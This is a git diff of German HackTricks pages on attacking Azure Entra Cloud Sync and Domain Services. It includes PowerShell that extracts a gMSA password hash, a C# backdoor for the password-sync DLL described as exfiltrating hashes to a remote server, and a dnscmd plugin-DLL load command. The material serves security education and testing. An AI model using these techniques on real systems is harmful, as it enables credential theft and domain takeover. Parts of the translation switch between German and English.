diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 4bb74f459..9fb479235 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -2,55 +2,59 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen -**Cloud Sync** ist im Grunde die neue Methode von Azure, um **die Benutzer von AD in Entra ID zu synchronisieren**. +## Grundlegende Informationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das entwickelt wurde, um Ihre hybriden Identitätsziele für die Synchronisierung von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen. Dies wird erreicht, indem der Microsoft Entra Cloud-Provisioning-Agent anstelle der Microsoft Entra Connect-Anwendung verwendet wird. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden. +**Cloud Sync** ist im Grunde die neue Methode von Azure, um **Benutzer aus AD in Entra ID zu synchronisieren**. -### Generierte Prinzipale +[Aus der Dokumentation:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das darauf ausgelegt ist, Ihre Hybrid-Identity-Ziele für die Synchronisation von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen und umzusetzen. Es realisiert dies durch die Verwendung des Microsoft Entra cloud provisioning agent anstelle der Microsoft Entra Connect-Anwendung. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden. -Damit dies funktioniert, werden einige Prinzipale sowohl in Entra ID als auch im On-Premise-Verzeichnis erstellt: +### Erstellte Principals + +Damit das funktioniert, werden in sowohl Entra ID als auch im On-Premise-Verzeichnis einige Principals erstellt: - In Entra ID wird der Benutzer `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) mit der Rolle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) erstellt. > [!WARNING] -> Diese Rolle hatte früher viele privilegierte Berechtigungen und konnte verwendet werden, um [**Privilegien sogar bis zum globalen Administrator zu eskalieren**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft hat jedoch beschlossen, alle Berechtigungen dieser Rolle zu entfernen und ihr nur eine neue zuzuweisen **`microsoft.directory/onPremisesSynchronization/standard/read`**, die es nicht wirklich erlaubt, privilegierte Aktionen auszuführen (wie das Ändern des Passworts oder der Attribute eines Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem SP). +> Diese Rolle hatte früher viele privilegierte Berechtigungen und konnte verwendet werden, um [**Privilegien bis hin zum Global Administrator zu eskalieren**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft hat jedoch entschieden, alle Privilegien dieser Rolle zu entfernen und ihr stattdessen nur eine neue Berechtigung **`microsoft.directory/onPremisesSynchronization/standard/read`** zuzuweisen, die es nicht wirklich erlaubt, privilegierte Aktionen durchzuführen (z. B. das Ändern des Passworts oder der Attribute eines Benutzers oder das Hinzufügen eines neuen Credentials zu einem SP). -- In Entra ID wird auch die Gruppe **`AAD DC Administrators`** ohne Mitglieder oder Eigentümer erstellt. Diese Gruppe ist nützlich, wenn [`Microsoft Entra Domain Services`](./az-domain-services.md) verwendet wird. +- In Entra ID wird außerdem die Gruppe **`AAD DC Administrators`** ohne Mitglieder oder Besitzer erstellt. Diese Gruppe ist nützlich, wenn [`Microsoft Entra Domain Services`](./az-domain-services.md) verwendet wird. -- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt, oder ein benutzerdefiniertes mit [**diesen Berechtigungen ist erforderlich**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt. +- Im AD wird entweder das Service-Konto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt, oder ein benutzerdefiniertes Konto mit [**diesen benötigten Berechtigungen**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt. > [!WARNING] -> Unter anderen Berechtigungen hat das Dienstkonto **`provAgentgMSA`** DCSync-Berechtigungen, die **es jedem, der es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen über [DCSync überprüfen Sie dies](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Neben anderen Berechtigungen besitzt das Service-Konto **`provAgentgMSA`** DCSync-Berechtigungen, was es **jedem, der es kompromittiert, ermöglicht, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen zu [DCSync siehe dies](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht mit Entra ID synchronisiert**, aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil privilegierter Gruppen ohne dieses Attribut sind oder direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**. +> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins, bei denen das Attribut **`adminCount` auf 1 gesetzt ist, nicht** aus Sicherheitsgründen mit Entra ID synchronisiert. Andere Benutzer, die Teil privilegierter Gruppen ohne dieses Attribut sind oder denen direkt hohe Rechte zugewiesen wurden, **können jedoch synchronisiert werden**. -## Passwortsynchronisierung +## Passwort-Synchronisierung -Der Abschnitt ist sehr ähnlich zu dem aus: +Dieser Abschnitt ist dem aus: {{#ref}} az-connect-sync.md {{#endref}} -- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich mit ihren Passwörtern aus AD in Entra ID **einloggen können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert. -- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, wobei ihr Passwort automatisch im On-Premise-Domain synchronisiert wird. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen. -- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, Gruppenmitgliedschaften von Entra ID zurück in das On-Premise-AD zu synchronisieren. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird. +sehr ähnlich: + +- **Password-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich **mit ihren AD-Passwörtern bei Entra ID anmelden können**. Außerdem wird bei jeder Änderung eines Passworts im AD dieses in Entra ID aktualisiert. +- **Password Writeback** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, wobei ihr Passwort automatisch im lokalen Domain-AD synchronisiert wird. Laut den [aktuellen Docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür jedoch der Connect Agent erforderlich; siehe die [Az Connect Sync Sektion](./az-connect-sync.md) für weitere Informationen. +- **Groups Writeback**: Diese Funktion erlaubt, Gruppenmitgliedschaften von Entra ID zurück in das lokale AD zu synchronisieren. Das bedeutet, dass wenn ein Benutzer in Entra ID zu einer Gruppe hinzugefügt wird, er auch zur entsprechenden Gruppe im AD hinzugefügt wird. + ## Pivoting ### AD --> Entra ID -- Wenn die AD-Benutzer von AD nach Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert, einfach **das Passwort eines Benutzers kompromittieren oder das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert wird (in der Regel nur ein paar Minuten)**. +- Wenn AD-Benutzer vom AD zu Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert: einfach **ein Passwort eines Benutzers kompromittieren, das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert ist (in der Regel nur ein paar Minuten)**. -Sie könnten zum Beispiel -- Das **`provAgentgMSA`**-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID einzuloggen. -- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID einzuloggen. -- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID einzuloggen. +So können Sie zum Beispiel: +- Das Konto **`provAgentgMSA`** kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann zur Anmeldung bei Entra ID verwenden. +- Einfach einen neuen Benutzer im AD erstellen, warten bis er nach Entra ID synchronisiert wurde und ihn dann zur Anmeldung bei Entra ID verwenden. +- Das Passwort eines Benutzers im AD ändern, warten bis es nach Entra ID synchronisiert wurde und sich dann mit diesem bei Entra ID anmelden. -Um die **`provAgentgMSA`**-Anmeldeinformationen zu kompromittieren: +Um die Anmeldeinformationen des **`provAgentgMSA`** zu kompromittieren: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -72,22 +76,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Jetzt könnten Sie den Hash des gMSA verwenden, um einen Pass-the-Hash-Angriff gegen Entra ID mit dem `provAgentgMSA`-Konto durchzuführen und Persistenz aufrechtzuerhalten, um DCSync-Angriffe gegen das AD durchzuführen. +Nun könntest du den Hash des gMSA verwenden, um mit dem Account `provAgentgMSA` einen Pass-the-Hash-Angriff gegen Entra ID durchzuführen und Persistenz zu erhalten, sodass DCSync-Angriffe gegen das AD möglich sind. -Für weitere Informationen darüber, wie man ein Active Directory kompromittiert, siehe: +For more information about how to compromise an Active Directory check: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, zum Beispiel in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen diese ebenfalls erhalten, oder **dynamische Gruppen könnten verwendet werden**, also überprüfen Sie immer die dynamischen Regeln und potenzielle Möglichkeiten, sie auszunutzen: +> Beachte, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf deren Attributen zu vergeben — zum Beispiel in den Cloud Sync-Konfigurationen. Allerdings können zur automatischen Gewährung von Rechten an synchronisierte Benutzer einige **Entra ID groups from AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer in diesen Gruppen diese ebenfalls bekommen, oder **dynamic groups might be used**, daher solltest du immer nach dynamischen Regeln und möglichen Missbrauchswegen suchen: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die DLL **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der synchronisierten Benutzer an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes zu exfiltrieren): +Bezüglich Persistenz schlägt [dieser Blogpost](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die dll **`Microsoft.Online.Passwordsynchronisation.dll`** unter **`C:\Program Files\Microsoft Azure AD Sync\Bin`** zu backdooren, die vom Cloud Sync agent zur Passwortsynchronisation verwendet wird, sodass sie die Passwort-Hashes der synchronisierten Benutzer an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** erzeugt, und der Blogpost schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (achte auf das `use System.Net` und die `WebClient`-Nutzung zur Exfiltration der Passwort-Hashes): ```csharp using System; using System.Net; @@ -121,20 +125,16 @@ RawHash = passwordHashData.RawHash } } ``` -NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden. -C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' nicht gefunden. -Bitte sehen Sie sich das Fehlerlistenfenster für detaillierte Warnungen und Fehler an. - ### Entra ID --> AD -- Wenn **Password Writeback** aktiviert ist, können Sie das Passwort einiger Benutzer aus Entra ID ändern und sich mit diesen im AD-Netzwerk verbinden, wenn Sie Zugriff darauf haben. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da die Passwortwiederherstellung mit diesem Agenten konfiguriert wird. +- If **Password Writeback** enabled ist, könntest du das Passwort einiger Benutzer in Entra ID ändern und dich, falls du Zugriff auf das AD-Netzwerk hast, mit diesen Accounts verbinden. Für mehr Informationen siehe die [Az Connect Sync section](./az-connect-sync.md) section, da Password Writeback über diesen Agenten konfiguriert wird. -- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach zu viel Zeit habe ich festgestellt, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können: +- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Diese Gruppen können nur lokal synchronisierte Benutzer und/oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten. -> - Die lokal synchronisierten Benutzerkonten, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder aus verschiedenen Domänen stammen, müssen jedoch alle aus demselben Forest stammen. +> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups. +> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest. -Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist also erheblich reduziert, da ein Angreifer das ursprüngliche AD, von dem die Benutzer synchronisiert werden, kompromittieren müsste, um einen Benutzer in der anderen Domäne zu kompromittieren (und beide müssen anscheinend im selben Forest sein). +Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist daher stark reduziert, da ein Angreifer das initiale AD kompromittieren müsste, von dem die Benutzer synchronisiert werden, um ein Benutzerkonto in der anderen Domäne zu kompromittieren (und offenbar müssen beide zum selben Forest gehören). ### Enumeration ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index 993108c09..c55f93e86 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -4,25 +4,25 @@ ## Domain Services -Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne Domain Controllers verwalten zu müssen (tatsächlich hat man nicht einmal Zugriff auf diese). +Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne dass Domain Controller verwaltet werden müssen (tatsächlich hat man nicht einmal Zugriff auf diese). -Das Hauptziel ist es, Legacy‑Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden nutzen können, oder dort, wo Verzeichnisabfragen nicht ständig an ein On‑Premises AD DS zurückgehen sollen. +Das Hauptziel ist es, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsverfahren verwenden können, oder in Fällen, in denen Verzeichnisabfragen nicht immer an ein On-Premises AD DS zurückgehen sollen. -Beachte, dass, um die in Entra ID erzeugten Benutzer (und nicht aus anderen Active Directories synchronisierten) mit dem AD domain service zu synchronisieren, du das Passwort des Benutzers **ändern musst**, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wurde. +Beachte, dass, um Benutzer, die in Entra ID erstellt wurden (und nicht aus anderen Active Directories synchronisiert wurden), mit dem AD Domain Service zu synchronisieren, das Passwort des Benutzers **auf ein neues Passwort geändert werden muss**, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wurde. > [!WARNING] -> Selbst wenn du eine neue Active Directory‑Domain erstellst, kannst du sie nicht vollständig verwalten (es sei denn, du nutzt bestimmte Fehlkonfigurationen), was bedeutet, dass du standardmäßig beispielsweise keine Benutzer direkt im AD erstellen kannst. Du erstellst sie durch **synchronizing users from Entra ID.** Du kannst angeben, alle Benutzer zu synchronisieren (auch diejenigen, die von anderen on‑premise ADs synchronisiert wurden), nur Cloud‑Benutzer (in Entra ID erstellte Benutzer), oder sie sogar **weiter einschränken**. +> Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie diese nicht vollständig verwalten (es sei denn, Sie nutzen bestimmte Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie, indem Sie **Benutzer aus Entra ID synchronisieren.** Sie können angeben, alle Benutzer zu synchronisieren (auch diejenigen, die aus anderen On-Premise-ADs synchronisiert wurden), nur Cloud-Benutzer (in Entra ID erstellte Benutzer), oder diese sogar weiter **filtern**. > [!NOTE] -> Allgemein gilt: Aufgrund der eingeschränkten Konfigurationsmöglichkeiten der neuen Domain und der Tatsache, dass ADs üblicherweise bereits on‑premise vorhanden sind, ist dies nicht die primäre Integration zwischen Entra ID und AD, aber es ist trotzdem interessant zu wissen, wie man sie kompromittieren kann. +> Generell ist dies wegen der eingeschränkten Flexibilität bei der Konfiguration der neuen Domäne und der Tatsache, dass ADs meist bereits On-Premises vorhanden sind, nicht die Hauptintegration zwischen Entra ID und AD, aber es ist trotzdem interessant zu wissen, wie man sie kompromittieren kann. ### Pivoting -Mitglieder der erzeugten **`AAD DC Administrators`** Gruppe erhalten lokale Admin‑Rechte auf VMs, die an die verwaltete Domain angebunden sind (aber nicht auf die domain controllers), weil sie in die lokale Administrators‑Gruppe aufgenommen werden. Mitglieder dieser Gruppe können außerdem **Remote Desktop to connect remotely to domain-joined VMs**, und sind außerdem Mitglieder der Gruppen: +Mitglieder der erzeugten **`AAD DC Administrators`**-Gruppe erhalten lokale Administratorrechte auf VMs, die der verwalteten Domäne beigetreten sind (aber nicht auf den Domain-Controllern), da sie zur lokalen Administratorengruppe hinzugefügt werden. Mitglieder dieser Gruppe können auch **Remote Desktop verwenden, um sich remote mit domain-joined VMs zu verbinden**, und sie sind außerdem Mitglieder folgender Gruppen: - **`Denied RODC Password Replication Group`**: Dies ist eine Gruppe, die Benutzer und Gruppen angibt, deren Passwörter nicht auf RODCs (Read-Only Domain Controllers) zwischengespeichert werden können. -- **`Group Policy Creators Owners`**: Diese Gruppe erlaubt Mitgliedern, Group Policies in der Domain zu erstellen. Allerdings können ihre Mitglieder Group Policies nicht auf Benutzer oder Gruppen anwenden oder bestehende GPOs bearbeiten, daher ist sie in dieser Umgebung nicht so relevant. -- **`DnsAdmins`**: Diese Gruppe erlaubt die Verwaltung der DNS‑Einstellungen und wurde in der Vergangenheit missbraucht, um [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jedoch wurde nach Tests des Angriffs in dieser Umgebung festgestellt, dass die Schwachstelle gepatcht ist: +- **`Group Policy Creators Owners`**: Diese Gruppe erlaubt es ihren Mitgliedern, Group Policies in der Domäne zu erstellen. Allerdings können ihre Mitglieder keine Gruppenrichtlinien auf Benutzer oder Gruppen anwenden oder bestehende GPOs bearbeiten, weshalb sie in diesem Umfeld nicht so interessant ist. +- **`DnsAdmins`**: Diese Gruppe erlaubt die Verwaltung der DNS-Einstellungen und wurde in der Vergangenheit missbraucht, um [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jedoch wurde nach Tests des Angriffs in dieser Umgebung festgestellt, dass die Schwachstelle gepatcht ist: ```text dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll @@ -30,14 +30,14 @@ DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Beachte, dass zur Gewährung dieser Berechtigungen innerhalb des AD die Gruppe **`AAD DC Administrators`** in die vorherigen Gruppen aufgenommen wird und außerdem die GPO **`AADDC Computers GPO`** alle Mitglieder der Domänengruppe **`AAD DC Administrators`** als Local Administrators hinzufügt. +Beachte, dass zur Vergabe dieser Berechtigungen innerhalb des AD die Gruppe **`AAD DC Administrators`** Mitglied der vorherigen Gruppen gemacht wird, und außerdem die GPO **`AADDC Computers GPO`** alle Mitglieder der Domänen‑Gruppe **`AAD DC Administrators`** als lokale Administratoren hinzufügt. -Pivoting von Entra ID zu einem mit Domain Services erstellten AD ist unkompliziert: Füge einen Benutzer zur Gruppe **`AAD DC Administrators`** hinzu, greife per RDP auf beliebige Maschinen in der Domain zu, und du kannst Daten stehlen und außerdem **compromise the domain.** +Pivoting von Entra ID zu einem mit Domain Services erstellten AD ist unkompliziert: Füge einfach einen Benutzer in die Gruppe **`AAD DC Administrators`** ein, greife per RDP auf beliebige Maschinen der Domain zu, und du kannst Daten stehlen und außerdem die Domain **kompromittieren**. -Das Pivoting von der Domain zu Entra ID ist dagegen nicht so einfach, da nichts aus der Domain in Entra ID synchronisiert wird. Prüfe jedoch immer die metadata aller beigetretenen VMs, da deren zugewiesene managed identities interessante Berechtigungen haben könnten. Außerdem **dump all the users passwords from the domain** und versuche, diese zu cracken, um dich dann bei Entra ID / Azure anzumelden. +Das Pivoting von der Domain zu Entra ID ist hingegen nicht so einfach, da nichts aus der Domain in Entra ID synchronisiert wird. Prüfe aber stets die Metadata aller der Domain beigetretenen VMs, da deren zugewiesene managed identities interessante Berechtigungen haben könnten. Außerdem **dump all the users passwords from the domain** und versuche, diese zu cracken, um dich anschließend in Entra ID / Azure einzuloggen. > [!NOTE] -> Beachte, dass in der Vergangenheit weitere Schwachstellen in diesem managed AD gefunden wurden, die es ermöglichten, die DCs zu compromise, [wie diese](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der die DCs compromise, könnte sehr einfach persistence aufrechterhalten, ohne dass die Azure admins dies bemerken oder es entfernen können. +> Beachte, dass in der Vergangenheit in diesem managed AD weitere Schwachstellen gefunden wurden, die eine Kompromittierung der DCs ermöglichten, [wie diese](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der die DC kompromittiert, könnte sehr leicht Persistence aufrechterhalten, ohne dass die Azure-Admins es bemerken oder es entfernen können. ### Enumeration ```bash